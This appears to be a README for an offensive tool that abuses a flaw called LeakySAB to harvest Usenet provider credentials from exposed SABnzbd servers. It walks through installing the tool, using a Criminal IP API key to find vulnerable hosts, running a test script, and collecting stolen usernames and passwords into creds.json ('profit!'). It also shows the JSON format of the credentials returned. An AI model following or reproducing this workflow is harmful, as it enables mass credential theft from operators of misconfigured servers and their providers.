(ab)uses LeakySAB to get providers from open SABnzbd instances.
testVulnerableServers.js
Code_9pzPpHlCRo.mp4
npm i
- configure
config.json
(please fill in host field and not leave it 127.0.0.1) node index.js
- web ui accessible at
:8112
in new terminal,
- get criminalip api key here
- edit
getVulnerableServers.js
to add api key node getVulnerableServers.js
node testVulnerableServers.js
- profit! credentials are saved at
creds.json
sending a request to :8112/address:port
will return the following responses:
success:
{
"error": false,
"data": [
{
"server": "example.com",
"host": "example.com",
"description": "example.com",
"username": "username",
"password": "password",
"port": "1234",
"ssl": false,
},
{
"server": "example2.com",
"host": "example2.com",
"description": "example2.com",
"username": "username2",
"password": "password2",
"port": "12345",
"ssl": true,
},
]
}
error:
{
"error": true,
"data": {
"message": "error"
}
}
make sure that port 8119 and port 8112 is open.